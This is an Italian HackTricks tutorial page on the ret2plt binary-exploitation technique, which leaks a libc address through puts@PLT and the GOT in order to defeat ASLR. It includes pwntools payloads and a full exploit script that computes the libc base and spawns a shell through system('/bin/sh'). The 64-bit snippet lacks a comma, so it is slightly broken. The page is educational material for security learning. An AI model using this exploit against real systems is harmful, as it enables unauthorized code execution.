Ret2plt

Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

Informazioni di Base

L'obiettivo di questa tecnica sarebbe quello di ottenere un indirizzo da una funzione dal PLT per poter aggirare l'ASLR. Questo perché se, ad esempio, si ottiene l'indirizzo della funzione puts dalla libc, è possibile calcolare dove si trova la base di libc e calcolare offset per accedere ad altre funzioni come system.

Questo può essere fatto con un payload di pwntools come (da qui):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Nota come puts (utilizzando l'indirizzo dal PLT) viene chiamato con l'indirizzo di puts situato nella GOT (Tabella degli Offset Globali). Questo perché al momento in cui puts stampa l'entry GOT di puts, questa entry conterrà l'indirizzo esatto di puts in memoria.

Nota anche come l'indirizzo di main viene utilizzato nello sfruttamento in modo che quando puts termina la sua esecuzione, il binario richiama nuovamente main anziché uscire (così l'indirizzo leaked continuerà ad essere valido).

Nota come affinché ciò funzioni il binario non può essere compilato con PIE oppure devi avere trovato un leak per aggirare PIE al fine di conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi aggirare prima PIE.

Puoi trovare un esempio completo di questo bypass qui. Questo è stato lo sfruttamento finale di quell'esempio:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Altri esempi e Riferimenti

Last updated